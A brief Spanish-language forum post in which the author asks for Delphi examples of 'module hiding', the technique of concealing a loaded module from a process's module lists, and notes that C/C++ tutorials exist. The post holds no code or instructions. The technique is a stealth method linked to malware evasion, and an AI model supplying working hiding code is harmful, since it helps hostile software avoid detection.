Bueno para no exponer mas sobre el tema, y hacer largo y aburrido el post, existe infenidad de tutoriales o ejemplos en C/C++ sobre "Module hiding" que es lo que quiero realizar pero desde Delphi si es posible. Si alguien puede ayudar o ya hizo algo similar si podria exponer sus ejemplos.

Gracias
  • 0




IP.Board spam blocked by CleanTalk.